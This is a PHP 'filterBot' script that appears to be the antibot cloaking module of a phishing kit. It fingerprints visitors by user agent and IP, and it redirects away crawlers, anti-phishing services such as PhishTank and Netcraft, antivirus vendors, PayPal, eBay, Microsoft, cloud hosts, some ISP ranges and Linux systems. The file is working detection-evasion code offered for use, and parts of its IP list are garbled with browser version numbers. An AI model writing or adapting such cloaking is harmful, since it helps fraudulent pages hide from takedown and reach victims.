<?php
class filterBot{

	private static function get_user_agent() {
		return  $_SERVER['HTTP_USER_AGENT'];
	}

	public static function get_ip() {
		$mainIp = '';
		if (getenv('HTTP_CLIENT_IP'))
			$mainIp = getenv('HTTP_CLIENT_IP');
		else if(getenv('HTTP_X_FORWARDED_FOR'))
			$mainIp = getenv('HTTP_X_FORWARDED_FOR');
		else if(getenv('HTTP_X_FORWARDED'))
			$mainIp = getenv('HTTP_X_FORWARDED');
		else if(getenv('HTTP_FORWARDED_FOR'))
			$mainIp = getenv('HTTP_FORWARDED_FOR');
		else if(getenv('HTTP_FORWARDED'))
			$mainIp = getenv('HTTP_FORWARDED');
		else if(getenv('REMOTE_ADDR'))
			$mainIp = getenv('REMOTE_ADDR');
		else
			$mainIp = 'UNKNOWN';
		return $mainIp;
	}

	public static function get_os() {

		$user_agent = self::get_user_agent();
		$os_platform    =   "Unknown OS Platform";
		$os_array       =   array(
			'/windows nt 10/i'     	=>  'Windows 10',
			'/windows nt 6.3/i'     =>  'Windows 8.1',
			'/windows nt 6.2/i'     =>  'Windows 8',
			'/windows nt 6.1/i'     =>  'Windows 7',
			'/windows nt 6.0/i'     =>  'Windows Vista',
			'/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
			'/windows nt 5.1/i'     =>  'Windows XP',
			'/windows xp/i'         =>  'Windows XP',
			'/windows nt 5.0/i'     =>  'Windows 2000',
			'/windows me/i'         =>  'Windows ME',
			'/win98/i'              =>  'Windows 98',
			'/win95/i'              =>  'Windows 95',
			'/win16/i'              =>  'Windows 3.11',
			'/macintosh|mac os x/i' =>  'Mac OS X',
			'/mac_powerpc/i'        =>  'Mac OS 9',
			'/linux/i'              =>  'Linux',
			'/ubuntu/i'             =>  'Ubuntu',
			'/iphone/i'             =>  'iPhone',
			'/ipod/i'               =>  'iPod',
			'/ipad/i'               =>  'iPad',
			'/android/i'            =>  'Android',
			'/blackberry/i'         =>  'BlackBerry',
			'/webos/i'              =>  'Mobile'
		);

		foreach ($os_array as $regex => $value) {
			if (preg_match($regex, $user_agent)) {
				$os_platform    =   $value;
			}
		}   
		return $os_platform;
	}

	public static function  get_browser() {

		$user_agent= self::get_user_agent();

		$browser        =   "Unknown Browser";

		$browser_array  =   array(
			'/msie/i'       =>  'Internet Explorer',
			'/Trident/i'    =>  'Internet Explorer',
			'/firefox/i'    =>  'Firefox',
			'/safari/i'     =>  'Safari',
			'/chrome/i'     =>  'Chrome',
			'/edge/i'       =>  'Edge',
			'/opera/i'      =>  'Opera',
			'/netscape/i'   =>  'Netscape',
			'/maxthon/i'    =>  'Maxthon',
			'/konqueror/i'  =>  'Konqueror',
			'/ubrowser/i'   =>  'UC Browser',
			'/mobile/i'     =>  'Handheld Browser'
		);

		foreach ($browser_array as $regex => $value) {

			if (preg_match($regex, $user_agent)) {
				$browser    =   $value;
			}

		}

		return $browser;

	}

	public static function  get_device(){

		$tablet_browser = 0;
		$mobile_browser = 0;

		if (preg_match('/(tablet|ipad|playbook)|(android(?!.*(mobi|opera mini)))/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {
			$tablet_browser++;
		}

		if (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile)/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {
			$mobile_browser++;
		}

		if ((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {
			$mobile_browser++;
		}

		$mobile_ua = strtolower(substr(self::get_user_agent(), 0, 4));
		$mobile_agents = array(
			'w3c ','acs-','alav','alca','amoi','audi','avan','benq','bird','blac',
			'blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',
			'ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',
			'maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-',
			'newt','noki','palm','pana','pant','phil','play','port','prox',
			'qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar',
			'sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-',
			'tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp',
			'wapr','webc','winw','winw','xda ','xda-');

		if (in_array($mobile_ua,$mobile_agents)) {
			$mobile_browser++;
		}

		if (strpos(strtolower(self::get_user_agent()),'opera mini') > 0) {
			$mobile_browser++;
	            //Check for tablets on opera mini alternative headers
			$stock_ua = strtolower(isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])?$_SERVER['HTTP_X_OPERAMINI_PHONE_UA']:(isset($_SERVER['HTTP_DEVICE_STOCK_UA'])?$_SERVER['HTTP_DEVICE_STOCK_UA']:''));
			if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobile))/i', $stock_ua)) {
				$tablet_browser++;
			}
		}

		if ($tablet_browser > 0) {
	           // do something for tablet devices
			return 'Tablet';
		}
		else if ($mobile_browser > 0) {
	           // do something for mobile devices
			return 'Mobile';
		}
		else {
	           // do something for everything else
			return 'Computer';
		}   
	}

}

$restricted_os = [
    'Unknown OS Platform',
    'Ubuntu',
    'Linux',
    'Windows XP',
    'Windows Server 2003/XP x64',
    'Windows 7'
];


$user_browser = filterBot::get_browser();
$user_os = filterBot::get_os();

if ($user_browser === 'Unknown Browser') {
    header('HTTP/1.1 403 Forbidden');
    header("Location: https://www.superhonda.com/");
    die('Access Denied - Suspicious Browser Detected');
}

if (in_array($user_os, $restricted_os)) {
    header('HTTP/1.1 403 Forbidden');
    header("Location: https://www.superhonda.com/");
    die('Access Denied - Your OS is not allowed.');
}


$agents = [
    "Google",
    "Slurp",
    "MSNBot",
    "ia_archiver",
    "Yandex",
    "Rambler",
    "drweb",
    "hostinger",
    "scanurl",
    "above",
    "google",
    "Dr.Web",
    "facebook",
    "softlayer",
    "amazonaws",
    "cyveillance",
    "dreamhost",
    "netpilot",
    "calyxinstitute",
    "tor-exit",
    "phishtank",
    "msnbot",
    "p3pwgdsn",
    "netcraft",
    "trendmicro",
    "ebay",
    "paypal",
    "torservers",
    "messagelabs",
    "sucuri.net",
    "crawler",
    "bot",
    "apache-httpclient",
    "lssrocketcrawler",
    "urlredirectresolver",
    "jetbrains",
    "spam",
    "windows 95",
    "windows 98",
    "acunetix",
    "netsparker",
    "007ac9",
    "008",
    "192.comagent",
    "200pleasebot",
    "360spider",
    "4seohuntbot",
    "50.nu",
    "a6-indexer",
    "admantx",
    "amznkassocbot",
    "aboundexbot",
    "aboutusbot",
    "abrave spider",
    "accelobot",
    "acoonbot",
    "addthis.com",
    "adsbot-google",
    "ahrefsbot",
    "alexabot",
    "amagit.com",
    "analytics",
    "antbot",
    "apercite",
    "aportworm",
    "EBAY",
    "CL0NA",
    "jabber",
    "arabot",
    "hotmail!",
    "msn!",
    "outlook!",
    "outlook",
    "msn",
    "hotmail",
    "compatible",
    "mozilla",
    "Trident",
    "X11",
    "Windows XP",
    "windows xp",
    "Googlebot",
    "Baiduspider",
    "R6_FeedFetcher",
    "NetcraftSurveyAgent",
    "Sogou web spider",
    "bingbot",
    "Yahoo! Slurp",
    "facebookexternalhit",
    "PrintfulBot",
    "Twitterbot",
    "UnwindFetchor",
    "urlresolver",
    "Butterfly",
    "TweetmemeBot",
    "PaperLiBot",
    "MJ12bot",
    "AhrefsBot",
    "Exabot",
    "Ezooms",
    "YandexBot",
    "SearchmetricsBot",
    "picsearch",
    "TweetedTimes Bot",
    "QuerySeekerSpider",
    "ShowyouBot",
    "woriobot",
    "merlinkbot",
    "BazQuxBot",
    "Kraken",
    "SISTRIX Crawler",
    "R6_CommentReader",
    "magpie-crawler",
    "GrapeshotCrawler",
    "PercolateCrawler",
    "MaxPointCrawler",
    "NetSeer crawler",
    "grokkit-crawler",
    "SMXCrawler",
    "PulseCrawler",
    "Y!J-BRW",
    "80legs.com/webcrawler",
    "Mediapartners-Google",
    "Spinn3r",
    "InAGist",
    "Python-urllib",
    "NING",
    "TencentTraveler",
    "Feedfetcher-Google",
    "mon.itor.us",
    "spbot",
    "Feedly",
    "curl",
    "spider",
    "abot",
    "dbot",
    "ebot",
    "hbot",
    "kbot",
    "lbot",
    "mbot",
    "nbot",
    "obot",
    "pbot",
    "rbot",
    "sbot",
    "tbot",
    "vbot",
    "ybot",
    "zbot",
    "bot.",
    "bot/",
    "_bot",
    ".bot",
    "/bot",
    "-bot",
    ":bot",
    "(bot",
    "crawl",
    "slurp",
    "seek",
    "accoona",
    "acoon",
    "adressendeutschland",
    "ah-ha.com",
    "ahoy",
    "altavista",
    "ananzi",
    "anthill",
    "appie",
    "arachnophilia",
    "arale",
    "araneo",
    "aranha",
    "architext",
    "aretha",
    "arks",
    "asterias",
    "atlocal",
    "atn",
    "atomz",
    "augurfind",
    "backrub",
    "bannana_bot",
    "baypup",
    "bdfetch",
    "big brother",
    "biglotron",
    "bjaaland",
    "blackwidow",
    "blaiz",
    "blog",
    "blo.",
    "bloodhound",
    "boitho",
    "booch",
    "bradley",
    "butterfly",
    "calif",
    "cassandra",
    "ccubee",
    "cfetch",
    "charlotte",
    "churl",
    "cienciaficcion",
    "cmc",
    "collective",
    "comagent",
    "combine",
    "computingsite",
    "csci",
    "cusco",
    "daumoa",
    "deepindex",
    "delorie",
    "depspid",
    "deweb",
    "echo blinde kuh",
    "digger",
    "ditto",
    "dmoz",
    "docomo",
    "download express",
    "dtaagent",
    "dwcp",
    "ebiness",
    "ebingbong",
    "e-collector",
    "ejupiter",
    "emacs-w3 search engine",
    "esther",
    "evliya celebi",
    "ezresult",
    "falcon",
    "felix ide",
    "ferret",
    "fetchrover",
    "fido",
    "findlinks",
    "fireball",
    "fish search",
    "fouineur",
    "funnelweb",
    "gazz",
    "gcreep",
    "genieknows",
    "getterroboplus",
    "geturl",
    "glx",
    "goforit",
    "golem",
    "grabber",
    "grapnel",
    "gralon",
    "griffon",
    "gromit",
    "grub",
    "gulliver",
    "hamahakki",
    "harvest",
    "havindex",
    "helix",
    "heritrix",
    "hku www octopus",
    "homerweb",
    "htdig",
    "html index",
    "html_analyzer",
    "htmlgobble",
    "hubater",
    "hyper-decontextualizer",
    "ibm_planetwide",
    "ichiro",
    "iconsurf",
    "iltrovatore",
    "image.kapsi.net",
    "imagelock",
    "incywincy",
    "indexer",
    "infobee",
    "informant",
    "ingrid",
    "inktomisearch.com",
    "inspector web",
    "intelliagent",
    "internet shinchakubin",
    "ip3000",
    "iron33",
    "israeli-search",
    "ivia",
    "jack",
    "jakarta",
    "javabee",
    "jetbot",
    "jumpstation",
    "katipo",
    "kdd-explorer",
    "kilroy",
    "knowledge",
    "kototoi",
    "kretrieve",
    "labelgrabber",
    "lachesis",
    "larbin",
    "legs",
    "libwww",
    "linkalarm",
    "link validator",
    "linkscan",
    "lockon",
    "lwp",
    "lycos",
    "magpie",
    "mantraagent",
    "mapoftheinternet",
    "marvin/",
    "mattie",
    "mediafox",
    "mediapartners",
    "mercator",
    "merzscope",
    "microsoft url control",
    "minirank",
    "miva",
    "mj12",
    "mnogosearch",
    "moget",
    "monster",
    "moose",
    "motor",
    "multitext",
    "muncher",
    "muscatferret",
    "mwd.search",
    "myweb",
    "najdi",
    "nameprotect",
    "nationaldirectory",
    "nazilla",
    "ncsa beta",
    "nec-meshexplorer",
    "nederland.zoek",
    "netcarta webmap engine",
    "netmechanic",
    "netresearchserver",
    "netscoop",
    "newscan-online",
    "nhse",
    "nokia6682/",
    "nomad",
    "noyona",
    "nutch",
    "nzexplorer",
    "objectssearch",
    "occam",
    "omni",
    "open text",
    "openfind",
    "openintelligencedata",
    "orb search",
    "osis-project",
    "pack rat",
    "pageboy",
    "pagebull",
    "page_verifier",
    "panscient",
    "parasite",
    "partnersite",
    "patric",
    "pear.",
    "pegasus",
    "peregrinator",
    "pgp key agent",
    "phantom",
    "phpdig",
    "picosearch",
    "piltdownman",
    "pimptrain",
    "pinpoint",
    "pioneer",
    "piranha",
    "plumtreewebaccessor",
    "pogodak",
    "poirot",
    "pompos",
    "poppelsdorf",
    "poppi",
    "popular iconoclast",
    "psycheclone",
    "publisher",
    "python",
    "rambler",
    "raven search",
    "roach",
    "road runner",
    "roadhouse",
    "robbie",
    "robofox",
    "robozilla",
    "rules",
    "salty",
    "sbider",
    "scooter",
    "scoutjet",
    "scrubby",
    "search.",
    "searchprocess",
    "semanticdiscovery",
    "senrigan",
    "sg-scout",
    "shai'hulud",
    "shark",
    "shopwiki",
    "sidewinder",
    "sift",
    "silk",
    "simmany",
    "site searcher",
    "site valet",
    "sitetech-rover",
    "skymob.com",
    "sleek",
    "smartwit",
    "sna-",
    "snappy",
    "snooper",
    "sohu",
    "speedfind",
    "sphere",
    "sphider",
    "spinner",
    "spyder",
    "steeler/",
    "suke",
    "suntek",
    "supersnooper",
    "surfnomore",
    "sven",
    "sygol",
    "szukacz",
    "tach black widow",
    "tarantula",
    "templeton",
    "/teoma",
    "t-h-u-n-d-e-r-s-t-o-n-e",
    "theophrastus",
    "titan",
    "titin",
    "tkwww",
    "toutatis",
    "t-rex",
    "tutorgig",
    "twiceler",
    "twisted",
    "ucsd",
    "udmsearch",
    "url check",
    "updated",
    "vagabondo",
    "valkyrie",
    "verticrawl",
    "victoria",
    "vision-search",
    "volcano",
    "voyager/",
    "voyager-hc",
    "w3c_validator",
    "w3m2",
    "w3mir",
    "walker",
    "wallpaper",
    "wanderer",
    "wauuu",
    "wavefire",
    "web core",
    "web hopper",
    "web wombat",
    "webbandit",
    "webcatcher",
    "webcopy",
    "webfoot",
    "weblayers",
    "weblinker",
    "weblog monitor",
    "webmirror",
    "webmonkey",
    "webquest",
    "webreaper",
    "websitepulse",
    "websnarf",
    "webstolperer",
    "webvac",
    "webwalk",
    "webwatch",
    "webwombat",
    "webzinger",
    "wget",
    "whizbang",
    "whowhere",
    "wild ferret",
    "worldlight",
    "wwwc",
    "wwwster",
    "xenu",
    "xget",
    "xift",
    "xirq",
    "yandex",
    "yanga",
    "yeti",
    "yodao",
    "zao/",
    "zippp",
    "zyborg",
    "googlebot",
    "yahoo",
    "yahooSeeker",
    "yandexbot",
    "baiduspider",
    "httrack",
    "pycurl",
    "python-requests",
    "phish",
    "Http Crawler",
    "avast",
    "DigitalOcean",
    "Amazon",
    "net4sec",
    "AVAST Software s.r.o.",
    "BullGuard ApS",
    "PayPal",
    "Hotmail",
    "Yahoo",
    "AOL",
    "Microsoft",
    "Kaspersky Lab",
    "Linode, LLC",
    "MSN",
    "ONLINE S.A.S.",
    "Joshua Peter McQuistan",
    "die blinde kuh",
    "yahoo!",
    "ABACHOBot",
    "Accoona-AI-Agent",
    "AddSugarSpiderBot",
    "AnyApexBot",
    "Arachmo",
    "B-l-i-t-z-B-O-T",
    "BecomeBot",
    "BeslistBot",
    "BillyBobBot",
    "Bimbot",
    "Bingbot",
    "BlitzBOT",
    "boitho.com-dc",
    "boitho.com-robot",
    "btbot",
    "CatchBot",
    "Cerberian Drtrs",
    "Charlotte",
    "ConveraCrawler",
    "cosmos",
    "Covario IDS",
    "DataparkSearch",
    "DiamondBot",
    "Discobot",
    "Dotbot",
    "EARTHCOM.info",
    "EmeraldShield.com WebBot",
    "envolk[ITS]spider",
    "EsperanzaBot",
    "FAST Enterprise Crawler",
    "FAST-WebCrawler",
    "FDSE robot",
    "FindLinks",
    "FurlBot",
    "FyberSpider",
    "g2crawler",
    "Gaisbot",
    "GalaxyBot",
    "genieBot",
    "Gigabot",
    "Girafabot",
    "Googlebot-Image",
    "GurujiBot",
    "HappyFunBot",
    "hl_ftien_spider",
    "Holmes",
    "iaskspider",
    "iCCrawler",
    "igdeSpyder",
    "IRLbot",
    "IssueCrawler",
    "Jaxified Bot",
    "Jyxobot",
    "KoepaBot",
    "L.webis",
    "LapozzBot",
    "Larbin",
    "LDSpider",
    "LexxeBot",
    "Linguee Bot",
    "LinkWalker",
    "lmspider",
    "lwp-trivial",
    "mabontland",
    "masscan-ng",
    "MLBot",
    "Mnogosearch",
    "mogimogi",
    "MojeekBot",
    "Moreoverbot",
    "Morning Paper",
    "MSRBot",
    "MVAClient",
    "mxbot",
    "NetResearchServer",
    "NetSeer Crawler",
    "NewsGator",
    "NG-Search",
    "nicebot",
    "noxtrumbot",
    "Nusearch Spider",
    "NutchCVS",
    "Nymesis",
    "oegp",
    "omgilibot",
    "OmniExplorer_Bot",
    "OOZBOT",
    "Orbiter",
    "PageBitesHyperBot",
    "Peew",
    "polybot",
    "Pompos",
    "PostPost",
    "Psbot",
    "PycURL",
    "Qseero",
    "Radian6",
    "RAMPyBot",
    "RufusBot",
    "SandCrawler",
    "SBIder",
    "ScoutJet",
    "Scrubby",
    "SearchSight",
    "Seekbot",
    "Sensis Web Crawler",
    "SEOChat::Bot",
    "SeznamBot",
    "Shim-Crawler",
    "ShopWiki",
    "Shoula robot",
    "Sitebot",
    "Snappy",
    "sogou spider",
    "Sosospider",
    "Speedy Spider",
    "Sqworm",
    "StackRambler",
    "suggybot",
    "SurveyBot",
    "SynooBot",
    "Teoma",
    "TerrawizBot",
    "TheSuBot",
    "Thumbnail.CZ robot",
    "TinEye",
    "truwoGPS",
    "TurnitinBot",
    "TwengaBot",
    "Urlfilebot",
    "Vagabondo",
    "VoilaBot",
    "Vortex",
    "voyager",
    "VYU2",
    "webcollage",
    "Websquash.com",
    "wf84",
    "WoFindeIch Robot",
    "WomlpeFactory",
    "Xaldon_WebSpider",
    "yacy",
    "Yahoo! Slurp China",
    "YahooSeeker",
    "YahooSeeker-Testing",
    "YandexImages",
    "YandexMetrika",
    "Yasaklibot",
    "Yeti",
    "YodaoBot",
    "yoogliFetchAgent",
    "YoudaoBot",
    "Zao",
    "Zealbot",
    "zspider",
    "ZyBorg",
    "AbiLogicBot",
    "Link Valet",
    "Link Validity Check",
    "LinkExaminer",
    "LinksManager.com_bot",
    "Mojoo Robot",
    "Notifixious",
    "online link validator",
    "Ploetz + Zeller",
    "Reciprocal Link System PRO",
    "REL Link Checker Lite",
    "SiteBar",
    "Vivante Link Checker",
    "W3C-checklink",
    "Xenu Link Sleuth",
    "EmailSiphon",
    "CSE HTML Validator",
    "CSSCheck",
    "Cynthia",
    "HTMLParser",
    "P3P Validator",
    "W3C_CSS_Validator_JFouffa",
    "W3C_Validator",
    "WDG_Validator",
    "Awasu",
    "Bloglines",
    "everyfeed-spider",
    "FeedFetcher-Google",
    "GreatNews",
    "Gregarius",
    "MagpieRSS",
    "NFReader",
    "UniversalFeedParser",
    "BinGet",
    "cURL",
    "Java",
    "libwww-perl",
    "Microsoft URL Control",
    "Peach",
    "PHP",
    "pxyscand",
    "AppEngine-Google",
    "!Susie",
    "Amaya",
    "Cocoal.icio.us",
    "DomainsDB.net MetaCrawler",
    "gPodder",
    "GSiteCrawler",
    "iTunes",
    "lftp",
    "MetaURI",
    "MT-NewsWatcher",
    "Nitro PDF",
    "Snoopy",
    "URD-MAGPIE",
    "WebCapture",
    "Windows-Media-Player",
];

$ips = [
    "^66.102.*.*",
    "^38.100.*.*",
    "^107.170.*.*",
    "^149.20.*.*",
    "^38.105.*.*",
    "^173.239.*.*",
    "^173.244.36.*",
    "^74.125.*.*",
    "^66.150.14.*",
    "^54.176.*.*",
    "^184.173.*.*",
    "^66.249.*.*",
    "^128.242.*.*",
    "^72.14.192.*",
    "^208.65.144.*",
    "^209.85.128.*",
    "^216.239.32.*",
    "^207.126.144.*",
    "^173.194.*.*",
    "^64.233.160.*",
    "^64.18.*.*",
    "^194.52.68.*",
    "^194.72.238.*",
    "^62.116.207.*",
    "^212.50.193.*",
    "^69.65.*.*",
    "^50.7.*.*",
    "^131.212.*.*",
    "^46.116.*.* ",
    "^62.90.*.*",
    "^89.138.*.*",
    "^82.166.*.*",
    "^85.64.*.*",
    "^85.250.*.*",
    "^93.172.*.*",
    "^109.186.*.*",
    "^194.90.*.*",
    "^212.29.192.*",
    "^212.29.224.*",
    "^212.143.*.*",
    "^212.150.*.*",
    "^212.235.*.*",
    "^217.132.*.*",
    "^50.97.*.*",
    "^209.85.*.*",
    "^66.205.64.*",
    "^204.14.48.*",
    "^64.27.2.*",
    "^67.15.*.*",
    "^202.108.252.*",
    "^193.47.80.*",
    "^64.62.136.*",
    "^66.221.*.*",
    "^64.62.175.*",
    "^198.54.*.*",
    "^192.115.134.*",
    "^216.252.167.*",
    "^193.253.199.*",
    "^69.61.12.*",
    "^64.37.103.*",
    "^38.144.36.*",
    "^64.124.14.*",
    "^206.28.72.*",
    "^209.73.228.*",
    "^158.108.*.*",
    "^168.188.*.*",
    "^66.207.120.*",
    "^167.24.*.*",
    "^192.118.48.*",
    "^67.209.128.*",
    "^12.148.209.*",
    "^12.148.196.*",
    "^193.220.178.*",
    "68.65.53.71",
    "^198.25.*.*",
    "^64.106.213.*",
    "173.239.240.147",
    "103.248.172.42",
    "87.113.96.90",
    "165.227.0.128",
    "185.229.190.140",
    "46.101.94.163",
    "165.227.39.194",
    "46.101.119.24",
    "82.102.27.75",
    "173.239.230.97",
    "159.203.0.156",
    "162.243.187.126",
    "47.30.133.89",
    "^81.161.59.*",
    "^66.135.200.*",
    "^91.103.66.*",
    "^208.91.115.*",
    "^199.30.228.*",
    "^94.26.*.*",
    "^95.85.*.*",
    "^72.52.96.*",
    "^212.8.79.*",
    "^62.99.77.*",
    "^83.31.118.*",
    "^91.231.*.*",
    "^206.207.*.*",
    "^91.231.212.*",
    "^198.41.243.*",
    "^162.158.*.*",
    "^162.158.7.*",
    "^162.158.72.*",
    "^173.245.55.*",
    "^108.162.246.*",
    "^162.158.95.*",
    "^108.162.215.*",
    "^95.108.194.*",
    "^141.101.104.*",
    "^93.54.82.*",
    "^69.164.145.*",
    "^194.153.113.*",
    "^178.43.117.*",
    "^62.141.65.*",
    "^83.31.69.*",
    "^107.178.195.*",
    "^149.20.54.*",
    "^85.9.7.*",
    "^87.106.251.*",
    "^107.178.194.*",
    "^124.66.185.*",
    "^133.11.204.*",
    "^185.2.138.*",
    "^188.165.83.*",
    "^78.148.13.*",
    "^192.232.213.*",
    "^1.234.41.*",
    "^176.195.231.*",
    "^206.253.226.*",
    "^107.20.181.*",
    "^188.244.39.*",
    "^38.74.138.*",
    "^37.140.188.*",
    "^195.128.227.*",
    "^104.131.223.*",
    "^46.4.120.*",
    "^198.60.236.*",
    "^217.74.103.*",
    "^92.103.69.*",
    "^66.211.160.86*",
    "^46.244.*.*",
    "^131.*.*.*",
    "^157.*.*.*",
    "^202.*.*.*",
    "^204.*.*.*",
    "^207.*.*.*",
    "^213.*.*.*",
    "^219.*.*.*",
    "^63.*.*.*",
    "^64.*.*.*",
    "^65.*.*.*",
    "^68.*.*.*",
    "^64.233.191.*",
    "^64.233.191.255*",
    "^72.14.*.*",
    "^216.239.*.*",
    "^64.4.*.*",
    "^65.52.*.*",
    "^131.253.*.*",
    "^157.54.*.*",
    "^207.46.*.*",
    "^207.68.*.*",
    "^8.12.*.*",
    "^66.196.*.*",
    "^66.228.*.*",
    "^67.195.*.*",
    "^68.142.*.*",
    "^72.30.*.*",
    "^74.6.*.*",
    "^98.136.*.*",
    "^202.160.*.*",
    "^209.191.*.*",
    "1.9.2.13",
    "1.9.2.15",
    "62.210.13.58",
    "104.62.2.60",
    "104.83.233.198",
    "107.178.194.64",
    "108.161.29.60",
    "115.238.55.18",
    "119.97.214.138",
    "138.197.207.*",
    "145.239.156.71",
    "145.239.156.89",
    "150.70.168.35",
    "150.70.188.167",
    "154.127.57.30",
    "162.243.128.197",
    "162.243.69.215",
    "170.250.139.48",
    "138.197.207.147",
    "173.230.147.44",
    "177.39.232.144",
    "178.17.170.156",
    "185.104.186.168",
    "185.220.101.26",
    "185.28.20.243",
    "188.166.63.71",
    "192.36.27.7",
    "196.52.84.81",
    "204.13.201.137",
    "208.87.233.140",
    "212.83.139.219",
    "212.92.117.5",
    "216.164.117.239",
    "217.16.26.166",
    "217.96.188.74",
    "219.117.238.170",
    "23.27.153.247",
    "23.27.154.37",
    "24.23.24.144",
    "27.0.1453.110",
    "3.0.04506.648",
    "3.0.4506.2152",
    "31.168.158.239",
    "34.237.113.113",
    "39.0.2150.5",
    "41.0.2272.118",
    "43.0.2357.81",
    "44.0.2403.155",
    "5.62.39.18",
    "5.62.41.35",
    "5.62.56.91",
    "50.112.194.65",
    "50.116.2.167",
    "51.0.2704.103",
    "52.18.11.161",
    "52.192.164.225",
    "52.27.2.86",
    "52.31.63.97",
    "52.5.98.73",
    "52.72.33.140",
    "52.87.10.90",
    "52.91.94.56",
    "53.0.2785.116",
    "54.213.103.141",
    "54.228.218.117",
    "54.245.191.79",
    "56.0.2924.87",
    "57.0.2987.98",
    "61.0.3116.0",
    "62.24.252.133",
    "62.67.194.35",
    "63.0.3239.132",
    "64.0.3282.140",
    "64.0.3282.167",
    "66.0.3358.0",
    "66.0.3359.0",
    "67.0.3360.0",
    "67.0.3361.0",
    "75.163.12.85",
    "76.19.184.88",
    "77.69.251.230",
    "80.104.176.17",
    "81.0.48.*",
    "81.0.48.138",
    "84.13.191.239",
    "84.92.148.184",
    "88.99.62.141",
    "217.96.197.246",
    "89.234.157.254",
    "91.231.212.111",
    "97.85.126.186^66.102.*.*",
    "^104.108.64.175",
    "^134.170.2.199",
    "82.102.27.77",
    "^173.194.112.*",
    "^173.194.116.102",
    "^173.194.116.149",
    "^185.28.20.*",
    "^193.221.113.53",
    "^207.46.8.167",
    "^207.46.8.199",
    "^208.76.45.53",
    "^208.84.*.*",
    "^216.33.229.163",
    "^216.58.211.37",
    "^217.16.26.*",
    "^37.128.131.171",
    "^54.228.218.*",
    "^64.233.*.*",
    "^64.233.173.*",
    "^64.68.90.*^81.161.59.*",
    "^65.54.188.110",
    "^65.54.188.126",
    "^65.54.188.94",
    "^65.55.206.154",
    "^65.55.33.119",
    "^65.55.33.135",
    "^65.55.37.104",
    "^65.55.37.120",
    "^65.55.37.72",
    "^65.55.37.88",
    "^65.55.85.12",
    "^65.55.92.136",
    "^65.55.92.152",
    "^65.55.92.168",
    "^65.55.92.184",
    "^66.211.169.3",
    "^66.211.169.66",
    "^68.65.53.71",
    "^89.163.159.214",
    "185.104.120.4",
    "212.83.170.209",
    "87.115.213.2",
    "82.223.27.82",
    "163.172.174.24",
    "37.187.96.202",
    "92.103.69.158",
    "^46.116.*.*",
];

foreach ($agents as $agent) {
    if (stripos($_SERVER['HTTP_USER_AGENT'],$agent)){
        exit(header('Location: https://www.google.com/'));
    }
}
foreach ($ips as $ip) {
    if (preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])) {
        exit(header('Location: https://www.google.com/'));
    }
}

?>
